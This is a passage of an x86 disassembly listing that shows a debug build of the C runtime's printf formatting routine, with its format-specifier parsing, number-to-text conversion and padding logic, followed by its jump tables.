--------------------------------------------------------------------------- loc_420985: ; CODE XREF: sub_420720+24Fj mov eax, [ebp+arg_0] and eax, 0FFh loc_42098D: ; CODE XREF: sub_420720+70j ; sub_420720+C7j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_420720 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4209A0 proc near ; CODE XREF: sub_417CB0+9Ap ; sub_417E80+99p ... var_2A6 = word ptr -2A6h var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_288 = byte ptr -288h var_284 = dword ptr -284h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = word ptr -248h var_244 = dword ptr -244h var_240 = byte ptr -240h var_23F = byte ptr -23Fh var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = byte ptr -228h var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2A8h push ebx push esi push edi mov [ebp+var_24], 0 mov [ebp+var_22C], 0 mov [ebp+var_18], 0 loc_4209C4: ; CODE XREF: sub_4209A0:loc_4215B2j mov eax, [ebp+arg_4] mov cl, [eax] mov byte ptr [ebp+var_28], cl movsx edx, byte ptr [ebp+var_28] mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax test edx, edx jz loc_4215B7 cmp [ebp+var_22C], 0 jl loc_4215B7 movsx ecx, byte ptr [ebp+var_28] cmp ecx, 20h jl short loc_420A16 movsx edx, byte ptr [ebp+var_28] cmp edx, 78h jg short loc_420A16 movsx eax, byte ptr [ebp+var_28] movsx ecx, byte ptr [eax+4350D8h] and ecx, 0Fh mov [ebp+var_290], ecx jmp short loc_420A20 ; --------------------------------------------------------------------------- loc_420A16: ; CODE XREF: sub_4209A0+55j ; sub_4209A0+5Ej mov [ebp+var_290], 0 loc_420A20: ; CODE XREF: sub_4209A0+74j mov edx, [ebp+var_290] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_18] movsx edx, byte_4350F8[ecx+eax*8] sar edx, 4 mov [ebp+var_18], edx mov eax, [ebp+var_18] mov [ebp+var_294], eax cmp [ebp+var_294], 7 ja loc_4215B2 mov ecx, [ebp+var_294] jmp off_4215C4[ecx*4] loc_420A60: ; CODE XREF: sub_4209A0+332j ; DATA XREF: .data:off_4215C4o mov [ebp+var_1C], 0 mov edx, [ebp+var_28] and edx, 0FFh mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_420ADD lea edx, [ebp+var_22C] push edx mov eax, [ebp+arg_0] push eax movsx ecx, byte ptr [ebp+var_28] push ecx call sub_4216D0 add esp, 0Ch mov edx, [ebp+arg_4] mov al, [edx] mov byte ptr [ebp+var_28], al mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx loc_420AAE: ; CODE XREF: sub_4209A0+13Bj movsx edx, byte ptr [ebp+var_28] test edx, edx jnz short loc_420AD7 push offset aCh_t0 ; "ch != _T('\\0')" push 0 push 186h push offset aOutput_c ; "output.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_420AD7 int 3 ; Trap to Debugger loc_420AD7: ; CODE XREF: sub_4209A0+114j ; sub_4209A0+134j xor eax, eax test eax, eax jnz short loc_420AAE loc_420ADD: ; CODE XREF: sub_4209A0+E3j lea ecx, [ebp+var_22C] push ecx mov edx, [ebp+arg_0] push edx movsx eax, byte ptr [ebp+var_28] push eax call sub_4216D0 add esp, 0Ch jmp loc_4215B2 ; --------------------------------------------------------------------------- loc_420AFA: ; CODE XREF: sub_4209A0+B9j ; DATA XREF: .data:004215C8o mov [ebp+var_8], 0 mov ecx, [ebp+var_8] mov [ebp+var_23C], ecx mov edx, [ebp+var_23C] mov [ebp+var_244], edx mov eax, [ebp+var_244] mov [ebp+var_10], eax mov [ebp+var_4], 0 mov [ebp+var_234], 0FFFFFFFFh mov [ebp+var_1C], 0 jmp loc_4215B2 ; --------------------------------------------------------------------------- loc_420B3C: ; CODE XREF: sub_4209A0+B9j ; DATA XREF: .data:004215CCo movsx ecx, byte ptr [ebp+var_28] mov [ebp+var_298], ecx mov edx, [ebp+var_298] sub edx, 20h mov [ebp+var_298], edx cmp [ebp+var_298], 10h ja short loc_420BA6 mov ecx, [ebp+var_298] xor eax, eax mov al, byte_4215FC[ecx] jmp off_4215E4[eax*4] loc_420B73: ; CODE XREF: sub_4209A0+B9j ; DATA XREF: .data:004215F0o mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx jmp short loc_420BA6 ; --------------------------------------------------------------------------- loc_420B7E: ; CODE XREF: sub_4209A0+B9j ; sub_4209A0+1CCj ; DATA XREF: ... mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax jmp short loc_420BA6 ; --------------------------------------------------------------------------- loc_420B88: ; CODE XREF: sub_4209A0+B9j ; sub_4209A0+1CCj ; DATA XREF: ... mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx jmp short loc_420BA6 ; --------------------------------------------------------------------------- loc_420B93: ; CODE XREF: sub_4209A0+B9j ; sub_4209A0+1CCj ; DATA XREF: ... mov edx, [ebp+var_4] or dl, 80h mov [ebp+var_4], edx jmp short loc_420BA6 ; --------------------------------------------------------------------------- loc_420B9E: ; CODE XREF: sub_4209A0+B9j ; sub_4209A0+1CCj ; DATA XREF: ... mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_420BA6: ; CODE XREF: sub_4209A0+B9j ; sub_4209A0+1BCj ... jmp loc_4215B2 ; --------------------------------------------------------------------------- loc_420BAB: ; CODE XREF: sub_4209A0+B9j ; DATA XREF: .data:004215D0o movsx ecx, byte ptr [ebp+var_28] cmp ecx, 2Ah jnz short loc_420BE7 lea edx, [ebp+arg_8] push edx call sub_4217E0 add esp, 4 mov [ebp+var_244], eax cmp [ebp+var_244], 0 jge short loc_420BE5 mov eax, [ebp+var_4] or al, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_244] neg ecx mov [ebp+var_244], ecx loc_420BE5: ; CODE XREF: sub_4209A0+22Dj jmp short loc_420BFE ; --------------------------------------------------------------------------- loc_420BE7: ; CODE XREF: sub_4209A0+212j mov edx, [ebp+var_244] imul edx, 0Ah movsx eax, byte ptr [ebp+var_28] lea ecx, [edx+eax-30h] mov [ebp+var_244], ecx loc_420BFE: ; CODE XREF: sub_4209A0:loc_420BE5j jmp loc_4215B2 ; --------------------------------------------------------------------------- loc_420C03: ; CODE XREF: sub_4209A0+B9j ; DATA XREF: .data:004215D4o mov [ebp+var_234], 0 jmp loc_4215B2 ; --------------------------------------------------------------------------- loc_420C12: ; CODE XREF: sub_4209A0+B9j ; DATA XREF: .data:004215D8o movsx edx, byte ptr [ebp+var_28] cmp edx, 2Ah jnz short loc_420C42 lea eax, [ebp+arg_8] push eax call sub_4217E0 add esp, 4 mov [ebp+var_234], eax cmp [ebp+var_234], 0 jge short loc_420C40 mov [ebp+var_234], 0FFFFFFFFh loc_420C40: ; CODE XREF: sub_4209A0+294j jmp short loc_420C59 ; --------------------------------------------------------------------------- loc_420C42: ; CODE XREF: sub_4209A0+279j mov ecx, [ebp+var_234] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_28] lea eax, [ecx+edx-30h] mov [ebp+var_234], eax loc_420C59: ; CODE XREF: sub_4209A0:loc_420C40j jmp loc_4215B2 ; --------------------------------------------------------------------------- loc_420C5E: ; CODE XREF: sub_4209A0+B9j ; DATA XREF: .data:004215DCo movsx ecx, byte ptr [ebp+var_28] mov [ebp+var_29C], ecx mov edx, [ebp+var_29C] sub edx, 49h mov [ebp+var_29C], edx cmp [ebp+var_29C], 2Eh ja short loc_420CEC mov ecx, [ebp+var_29C] xor eax, eax mov al, byte_421621[ecx] jmp off_42160D[eax*4] loc_420C95: ; DATA XREF: .data:00421615o mov edx, [ebp+var_4] or edx, 10h mov [ebp+var_4], edx jmp short loc_420CEC ; --------------------------------------------------------------------------- loc_420CA0: ; CODE XREF: sub_4209A0+2EEj ; DATA XREF: .data:off_42160Do mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] cmp ecx, 36h jnz short loc_420CCB mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+1] cmp eax, 34h jnz short loc_420CCB mov ecx, [ebp+arg_4] add ecx, 2 mov [ebp+arg_4], ecx mov edx, [ebp+var_4] or dh, 80h mov [ebp+var_4], edx jmp short loc_420CD7 ; --------------------------------------------------------------------------- loc_420CCB: ; CODE XREF: sub_4209A0+309j ; sub_4209A0+315j mov [ebp+var_18], 0 jmp loc_420A60 ; --------------------------------------------------------------------------- loc_420CD7: ; CODE XREF: sub_4209A0+329j jmp short loc_420CEC ; --------------------------------------------------------------------------- loc_420CD9: ; CODE XREF: sub_4209A0+2EEj ; DATA XREF: .data:00421611o mov eax, [ebp+var_4] or al, 20h mov [ebp+var_4], eax jmp short loc_420CEC ; --------------------------------------------------------------------------- loc_420CE3: ; CODE XREF: sub_4209A0+2EEj ; DATA XREF: .data:00421619o mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_420CEC: ; CODE XREF: sub_4209A0+2DEj ; sub_4209A0+2EEj ... jmp loc_4215B2 ; --------------------------------------------------------------------------- loc_420CF1: ; CODE XREF: sub_4209A0+B9j ; DATA XREF: .data:004215E0o movsx edx, byte ptr [ebp+var_28] mov [ebp+var_2A0], edx mov eax, [ebp+var_2A0] sub eax, 43h mov [ebp+var_2A0], eax cmp [ebp+var_2A0], 35h ja loc_4213D7 mov edx, [ebp+var_2A0] xor ecx, ecx mov cl, byte_42168C[edx] jmp off_421650[ecx*4] loc_420D2C: ; DATA XREF: .data:off_421650o mov eax, [ebp+var_4] and eax, 830h test eax, eax jnz short loc_420D41 mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_420D41: ; CODE XREF: sub_4209A0+385j ; sub_4209A0+396j ; DATA XREF: ... mov edx, [ebp+var_4] and edx, 810h test edx, edx jz short loc_420D87 lea eax, [ebp+arg_8] push eax call sub_421820 add esp, 4 mov [ebp+var_14], ax mov cx, [ebp+var_14] push ecx lea edx, [ebp+var_228] push edx call sub_42A3D0 add esp, 8 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jge short loc_420D85 mov [ebp+var_23C], 1 loc_420D85: ; CODE XREF: sub_4209A0+3D9j jmp short loc_420DAD ; --------------------------------------------------------------------------- loc_420D87: ; CODE XREF: sub_4209A0+3ACj lea eax, [ebp+arg_8] push eax call sub_4217E0 add esp, 4 mov [ebp+var_248], ax mov cl, byte ptr [ebp+var_248] mov [ebp+var_228], cl mov [ebp+var_24], 1 loc_420DAD: ; CODE XREF: sub_4209A0:loc_420D85j lea edx, [ebp+var_228] mov [ebp+var_20], edx jmp loc_4213D7 ; --------------------------------------------------------------------------- loc_420DBB: ; CODE XREF: sub_4209A0+385j ; DATA XREF: .data:00421660o lea eax, [ebp+arg_8] push eax call sub_4217E0 add esp, 4 mov [ebp+var_24C], eax cmp [ebp+var_24C], 0 jz short loc_420DE2 mov ecx, [ebp+var_24C] cmp dword ptr [ecx+4], 0 jnz short loc_420DFC loc_420DE2: ; CODE XREF: sub_4209A0+434j mov edx, off_447490 mov [ebp+var_20], edx mov eax, [ebp+var_20] push eax call sub_414EC0 add esp, 4 mov [ebp+var_24], eax jmp short loc_420E4B ; --------------------------------------------------------------------------- loc_420DFC: ; CODE XREF: sub_4209A0+440j mov ecx, [ebp+var_4] and ecx, 800h test ecx, ecx jz short loc_420E2C mov edx, [ebp+var_24C] mov eax, [edx+4] mov [ebp+var_20], eax mov ecx, [ebp+var_24C] movsx edx, word ptr [ecx] shr edx, 1 mov [ebp+var_24], edx mov [ebp+var_1C], 1 jmp short loc_420E4B ; --------------------------------------------------------------------------- loc_420E2C: ; CODE XREF: sub_4209A0+467j mov [ebp+var_1C], 0 mov eax, [ebp+var_24C] mov ecx, [eax+4] mov [ebp+var_20], ecx mov edx, [ebp+var_24C] movsx eax, word ptr [edx] mov [ebp+var_24], eax loc_420E4B: ; CODE XREF: sub_4209A0+45Aj ; sub_4209A0+48Aj jmp loc_4213D7 ; --------------------------------------------------------------------------- loc_420E50: ; CODE XREF: sub_4209A0+385j ; DATA XREF: .data:00421658o mov ecx, [ebp+var_4] and ecx, 830h test ecx, ecx jnz short loc_420E66 mov edx, [ebp+var_4] or dh, 8 mov [ebp+var_4], edx loc_420E66: ; CODE XREF: sub_4209A0+385j ; sub_4209A0+4BBj ; DATA XREF: ... cmp [ebp+var_234], 0FFFFFFFFh jnz short loc_420E7B mov [ebp+var_2A4], 7FFFFFFFh jmp short loc_420E87 ; --------------------------------------------------------------------------- loc_420E7B: ; CODE XREF: sub_4209A0+4CDj mov eax, [ebp+var_234] mov [ebp+var_2A4], eax loc_420E87: ; CODE XREF: sub_4209A0+4D9j mov ecx, [ebp+var_2A4] mov [ebp+var_258], ecx lea edx, [ebp+arg_8] push edx call sub_4217E0 add esp, 4 mov [ebp+var_20], eax mov eax, [ebp+var_4] and eax, 810h test eax, eax jz short loc_420F16 cmp [ebp+var_20], 0 jnz short loc_420EBD mov ecx, off_447494 mov [ebp+var_20], ecx loc_420EBD: ; CODE XREF: sub_4209A0+512j mov [ebp+var_1C], 1 mov edx, [ebp+var_20] mov [ebp+var_254], edx loc_420ECD: ; CODE XREF: sub_4209A0+564j mov eax, [ebp+var_258] mov ecx, [ebp+var_258] sub ecx, 1 mov [ebp+var_258], ecx test eax, eax jz short loc_420F06 mov edx, [ebp+var_254] xor eax, eax mov ax, [edx] test eax, eax jz short loc_420F06 mov ecx, [ebp+var_254] add ecx, 2 mov [ebp+var_254], ecx jmp short loc_420ECD ; --------------------------------------------------------------------------- loc_420F06: ; CODE XREF: sub_4209A0+544j ; sub_4209A0+553j mov edx, [ebp+var_254] sub edx, [ebp+var_20] sar edx, 1 mov [ebp+var_24], edx jmp short loc_420F70 ; --------------------------------------------------------------------------- loc_420F16: ; CODE XREF: sub_4209A0+50Cj cmp [ebp+var_20], 0 jnz short loc_420F24 mov eax, off_447490 mov [ebp+var_20], eax loc_420F24: ; CODE XREF: sub_4209A0+57Aj mov ecx, [ebp+var_20] mov [ebp+var_250], ecx loc_420F2D: ; CODE XREF: sub_4209A0+5C2j mov edx, [ebp+var_258] mov eax, [ebp+var_258] sub eax, 1 mov [ebp+var_258], eax test edx, edx jz short loc_420F64 mov ecx, [ebp+var_250] movsx edx, byte ptr [ecx] test edx, edx jz short loc_420F64 mov eax, [ebp+var_250] add eax, 1 mov [ebp+var_250], eax jmp short loc_420F2D ; --------------------------------------------------------------------------- loc_420F64: ; CODE XREF: sub_4209A0+5A4j ; sub_4209A0+5B1j mov ecx, [ebp+var_250] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx loc_420F70: ; CODE XREF: sub_4209A0+574j jmp loc_4213D7 ; --------------------------------------------------------------------------- loc_420F75: ; CODE XREF: sub_4209A0+385j ; DATA XREF: .data:00421670o lea edx, [ebp+arg_8] push edx call sub_4217E0 add esp, 4 mov [ebp+var_25C], eax mov eax, [ebp+var_4] and eax, 20h test eax, eax jz short loc_420FA3 mov ecx, [ebp+var_25C] mov dx, word ptr [ebp+var_22C] mov [ecx], dx jmp short loc_420FB1 ; --------------------------------------------------------------------------- loc_420FA3: ; CODE XREF: sub_4209A0+5EFj mov eax, [ebp+var_25C] mov ecx, [ebp+var_22C] mov [eax], ecx loc_420FB1: ; CODE XREF: sub_4209A0+601j mov [ebp+var_23C], 1 jmp loc_4213D7 ; --------------------------------------------------------------------------- loc_420FC0: ; CODE XREF: sub_4209A0+385j ; DATA XREF: .data:00421654o mov [ebp+var_8], 1 mov dl, byte ptr [ebp+var_28] add dl, 20h mov byte ptr [ebp+var_28], dl loc_420FD0: ; CODE XREF: sub_4209A0+385j ; DATA XREF: .data:0042166Co mov eax, [ebp+var_4] or al, 40h mov [ebp+var_4], eax lea ecx, [ebp+var_228] mov [ebp+var_20], ecx cmp [ebp+var_234], 0 jge short loc_420FF6 mov [ebp+var_234], 6 jmp short loc_421012 ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_4209A0+648j cmp [ebp+var_234], 0 jnz short loc_421012 movsx edx, byte ptr [ebp+var_28] cmp edx, 67h jnz short loc_421012 mov [ebp+var_234], 1 loc_421012: ; CODE XREF: sub_4209A0+654j ; sub_4209A0+65Dj ... mov eax, [ebp+arg_8] add eax, 8 mov [ebp+arg_8], eax mov ecx, [ebp+arg_8] sub ecx, 8 mov edx, [ecx] mov eax, [ecx+4] mov [ebp+var_264], edx mov [ebp+var_260], eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_234] push edx movsx eax, byte ptr [ebp+var_28] push eax mov ecx, [ebp+var_20] push ecx lea edx, [ebp+var_264] push edx call off_447838 add esp, 14h mov eax, [ebp+var_4] and eax, 80h test eax, eax jz short loc_421078 cmp [ebp+var_234], 0 jnz short loc_421078 mov ecx, [ebp+var_20] push ecx call off_447844 add esp, 4 loc_421078: ; CODE XREF: sub_4209A0+6C0j ; sub_4209A0+6C9j movsx edx, byte ptr [ebp+var_28] cmp edx, 67h jnz short loc_42109A mov eax, [ebp+var_4] and eax, 80h test eax, eax jnz short loc_42109A mov ecx, [ebp+var_20] push ecx call off_44783C add esp, 4 loc_42109A: ; CODE XREF: sub_4209A0+6DFj ; sub_4209A0+6EBj mov edx, [ebp+var_20] movsx eax, byte ptr [edx] cmp eax, 2Dh jnz short loc_4210B7 mov ecx, [ebp+var_4] or ch, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_4210B7: ; CODE XREF: sub_4209A0+703j mov eax, [ebp+var_20] push eax call sub_414EC0 add esp, 4 mov [ebp+var_24], eax jmp loc_4213D7 ; --------------------------------------------------------------------------- loc_4210CB: ; CODE XREF: sub_4209A0+385j mov ecx, [ebp+var_4] or ecx, 40h mov [ebp+var_4], ecx mov [ebp+var_238], 0Ah jmp loc_421165 ; --------------------------------------------------------------------------- loc_4210E3: ; CODE XREF: sub_4209A0+385j ; DATA XREF: .data:00421680o mov [ebp+var_238], 0Ah jmp short loc_421165 ; --------------------------------------------------------------------------- loc_4210EF: ; CODE XREF: sub_4209A0+385j ; DATA XREF: .data:00421678o mov [ebp+var_234], 8 loc_4210F9: ; CODE XREF: sub_4209A0+385j ; DATA XREF: .data:0042165Co mov [ebp+var_230], 7 jmp short loc_42110F ; --------------------------------------------------------------------------- loc_421105: ; CODE XREF: sub_4209A0+385j ; DATA XREF: .data:00421684o mov [ebp+var_230], 27h loc_42110F: ; CODE XREF: sub_4209A0+763j mov [ebp+var_238], 10h mov edx, [ebp+var_4] and edx, 80h test edx, edx jz short loc_421143 mov [ebp+var_240], 30h mov eax, [ebp+var_230] add eax, 51h mov [ebp+var_23F], al mov [ebp+var_10], 2 loc_421143: ; CODE XREF: sub_4209A0+784j jmp short loc_421165 ; --------------------------------------------------------------------------- loc_421145: ; CODE XREF: sub_4209A0+385j ; DATA XREF: .data:00421674o mov [ebp+var_238], 8 mov ecx, [ebp+var_4] and ecx, 80h test ecx, ecx jz short loc_421165 mov edx, [ebp+var_4] or dh, 2 mov [ebp+var_4], edx loc_421165: ; CODE XREF: sub_4209A0+73Ej ; sub_4209A0+74Dj ... mov eax, [ebp+var_4] and eax, 8000h test eax, eax jz short loc_42118E lea ecx, [ebp+arg_8] push ecx call sub_421800 add esp, 4 mov [ebp+var_278], eax mov [ebp+var_274], edx jmp loc_42121F ; --------------------------------------------------------------------------- loc_42118E: ; CODE XREF: sub_4209A0+7CFj mov edx, [ebp+var_4] and edx, 20h test edx, edx jz short loc_4211E0 mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_4211C0 lea ecx, [ebp+arg_8] push ecx call sub_4217E0 add esp, 4 movsx eax, ax cdq mov [ebp+var_278], eax mov [ebp+var_274], edx jmp short loc_4211DE ; --------------------------------------------------------------------------- loc_4211C0: ; CODE XREF: sub_4209A0+800j lea edx, [ebp+arg_8] push edx call sub_4217E0 add esp, 4 and eax, 0FFFFh cdq mov [ebp+var_278], eax mov [ebp+var_274], edx loc_4211DE: ; CODE XREF: sub_4209A0+81Ej jmp short loc_42121F ; --------------------------------------------------------------------------- loc_4211E0: ; CODE XREF: sub_4209A0+7F6j mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_421205 lea ecx, [ebp+arg_8] push ecx call sub_4217E0 add esp, 4 cdq mov [ebp+var_278], eax mov [ebp+var_274], edx jmp short loc_42121F ; --------------------------------------------------------------------------- loc_421205: ; CODE XREF: sub_4209A0+848j lea edx, [ebp+arg_8] push edx call sub_4217E0 add esp, 4 xor ecx, ecx mov [ebp+var_278], eax mov [ebp+var_274], ecx loc_42121F: ; CODE XREF: sub_4209A0+7E9j ; sub_4209A0:loc_4211DEj ... mov edx, [ebp+var_4] and edx, 40h test edx, edx jz short loc_421267 cmp [ebp+var_274], 0 jg short loc_421267 jl short loc_42123D cmp [ebp+var_278], 0 jnb short loc_421267 loc_42123D: ; CODE XREF: sub_4209A0+892j mov eax, [ebp+var_278] neg eax mov ecx, [ebp+var_274] adc ecx, 0 neg ecx mov [ebp+var_26C], eax mov [ebp+var_268], ecx mov edx, [ebp+var_4] or dh, 1 mov [ebp+var_4], edx jmp short loc_42127F ; --------------------------------------------------------------------------- loc_421267: ; CODE XREF: sub_4209A0+887j ; sub_4209A0+890j ... mov eax, [ebp+var_278] mov [ebp+var_26C], eax mov ecx, [ebp+var_274] mov [ebp+var_268], ecx loc_42127F: ; CODE XREF: sub_4209A0+8C5j mov edx, [ebp+var_4] and edx, 8000h test edx, edx jnz short loc_4212A7 mov eax, [ebp+var_26C] mov ecx, [ebp+var_268] and ecx, 0 mov [ebp+var_26C], eax mov [ebp+var_268], ecx loc_4212A7: ; CODE XREF: sub_4209A0+8EAj cmp [ebp+var_234], 0 jge short loc_4212BC mov [ebp+var_234], 1 jmp short loc_4212C5 ; --------------------------------------------------------------------------- loc_4212BC: ; CODE XREF: sub_4209A0+90Ej mov edx, [ebp+var_4] and edx, 0FFFFFFF7h mov [ebp+var_4], edx loc_4212C5: ; CODE XREF: sub_4209A0+91Aj mov eax, [ebp+var_26C] or eax, [ebp+var_268] test eax, eax jnz short loc_4212DC mov [ebp+var_10], 0 loc_4212DC: ; CODE XREF: sub_4209A0+933j lea ecx, [ebp+var_29] mov [ebp+var_20], ecx loc_4212E2: ; CODE XREF: sub_4209A0+9EBj mov edx, [ebp+var_234] mov eax, [ebp+var_234] sub eax, 1 mov [ebp+var_234], eax test edx, edx jg short loc_42130F mov ecx, [ebp+var_26C] or ecx, [ebp+var_268] test ecx, ecx jz loc_421390 loc_42130F: ; CODE XREF: sub_4209A0+959j mov eax, [ebp+var_238] cdq push edx push eax mov edx, [ebp+var_268] push edx mov eax, [ebp+var_26C] push eax call sub_41A4A0 add eax, 30h mov [ebp+var_270], eax mov eax, [ebp+var_238] cdq push edx push eax mov ecx, [ebp+var_268] push ecx mov edx, [ebp+var_26C] push edx call sub_41A430 mov [ebp+var_26C], eax mov [ebp+var_268], edx cmp [ebp+var_270], 39h jle short loc_421377 mov eax, [ebp+var_270] add eax, [ebp+var_230] mov [ebp+var_270], eax loc_421377: ; CODE XREF: sub_4209A0+9C3j mov ecx, [ebp+var_20] mov dl, byte ptr [ebp+var_270] mov [ecx], dl mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax jmp loc_4212E2 ; --------------------------------------------------------------------------- loc_421390: ; CODE XREF: sub_4209A0+969j lea ecx, [ebp+var_29] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+var_4] and eax, 200h test eax, eax jz short loc_4213D7 mov ecx, [ebp+var_20] movsx edx, byte ptr [ecx] cmp edx, 30h jnz short loc_4213BF cmp [ebp+var_24], 0 jnz short loc_4213D7 loc_4213BF: ; CODE XREF: sub_4209A0+A17j mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+var_20] mov byte ptr [ecx], 30h mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx loc_4213D7: ; CODE XREF: sub_4209A0+371j ; sub_4209A0+385j ... cmp [ebp+var_23C], 0 jnz loc_4215B2 mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_42143D mov ecx, [ebp+var_4] and ecx, 100h test ecx, ecx jz short loc_42140B mov [ebp+var_240], 2Dh mov [ebp+var_10], 1 jmp short loc_42143D ; --------------------------------------------------------------------------- loc_42140B: ; CODE XREF: sub_4209A0+A59j mov edx, [ebp+var_4] and edx, 1 test edx, edx jz short loc_421425 mov [ebp+var_240], 2Bh mov [ebp+var_10], 1 jmp short loc_42143D ; --------------------------------------------------------------------------- loc_421425: ; CODE XREF: sub_4209A0+A73j mov eax, [ebp+var_4] and eax, 2 test eax, eax jz short loc_42143D mov [ebp+var_240], 20h mov [ebp+var_10], 1 loc_42143D: ; CODE XREF: sub_4209A0+A4Cj ; sub_4209A0+A69j ... mov ecx, [ebp+var_244] sub ecx, [ebp+var_24] sub ecx, [ebp+var_10] mov [ebp+var_27C], ecx mov edx, [ebp+var_4] and edx, 0Ch test edx, edx jnz short loc_421475 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 20h call sub_421750 add esp, 10h loc_421475: ; CODE XREF: sub_4209A0+AB7j lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_10] push edx lea eax, [ebp+var_240] push eax call sub_421790 add esp, 10h mov ecx, [ebp+var_4] and ecx, 8 test ecx, ecx jz short loc_4214C3 mov edx, [ebp+var_4] and edx, 4 test edx, edx jnz short loc_4214C3 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 30h call sub_421750 add esp, 10h loc_4214C3: ; CODE XREF: sub_4209A0+AFBj ; sub_4209A0+B05j cmp [ebp+var_1C], 0 jz loc_421571 cmp [ebp+var_24], 0 jle loc_421571 mov eax, [ebp+var_20] mov [ebp+var_280], eax mov ecx, [ebp+var_24] mov [ebp+var_284], ecx loc_4214E9: ; CODE XREF: sub_4209A0+BCAj mov edx, [ebp+var_284] mov eax, [ebp+var_284] sub eax, 1 mov [ebp+var_284], eax test edx, edx jz short loc_42156F mov ecx, [ebp+var_280] mov dx, [ecx] mov [ebp+var_2A6], dx mov ax, [ebp+var_2A6] push eax lea ecx, [ebp+var_288] push ecx mov edx, [ebp+var_280] add edx, 2 mov [ebp+var_280], edx call sub_42A3D0 add esp, 8 mov [ebp+var_28C], eax cmp [ebp+var_28C], 0 jg short loc_421549 jmp short loc_42156F ; --------------------------------------------------------------------------- loc_421549: ; CODE XREF: sub_4209A0+BA5j lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_28C] push edx lea eax, [ebp+var_288] push eax call sub_421790 add esp, 10h jmp loc_4214E9 ; --------------------------------------------------------------------------- loc_42156F: ; CODE XREF: sub_4209A0+B60j ; sub_4209A0+BA7j jmp short loc_42158C ; --------------------------------------------------------------------------- loc_421571: ; CODE XREF: sub_4209A0+B27j ; sub_4209A0+B31j lea ecx, [ebp+var_22C] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_20] push ecx call sub_421790 add esp, 10h loc_42158C: ; CODE XREF: sub_4209A0:loc_42156Fj mov edx, [ebp+var_4] and edx, 4 test edx, edx jz short loc_4215B2 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 20h call sub_421750 add esp, 10h loc_4215B2: ; CODE XREF: sub_4209A0+ADj ; sub_4209A0+155j ... jmp loc_4209C4 ; --------------------------------------------------------------------------- loc_4215B7: ; CODE XREF: sub_4209A0+3Bj ; sub_4209A0+48j mov eax, [ebp+var_22C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4209A0 endp ; --------------------------------------------------------------------------- off_4215C4 dd offset loc_420A60 ; DATA XREF: sub_4209A0+B9r dd offset loc_420AFA dd offset loc_420B3C dd offset loc_420BAB dd offset loc_420C03 dd offset loc_420C12 dd offset loc_420C5E dd offset loc_420CF1 off_4215E4 dd offset loc_420B88 ; DATA XREF: sub_4209A0+1CCr dd offset loc_420B93 dd offset loc_420B7E dd offset loc_420B73 dd offset loc_420B9E dd offset loc_420BA6 byte_4215FC db 0 ; DATA XREF: sub_4209A0+1C6r db 2 dup(5), 1 dd 5050505h, 2050505h, 5050305h db 4 off_42160D dd offset loc_420CA0 ; DATA XREF: sub_4209A0+2EEr dd offset loc_420CD9 dd offset loc_420C95 dd offset loc_420CE3 dd offset 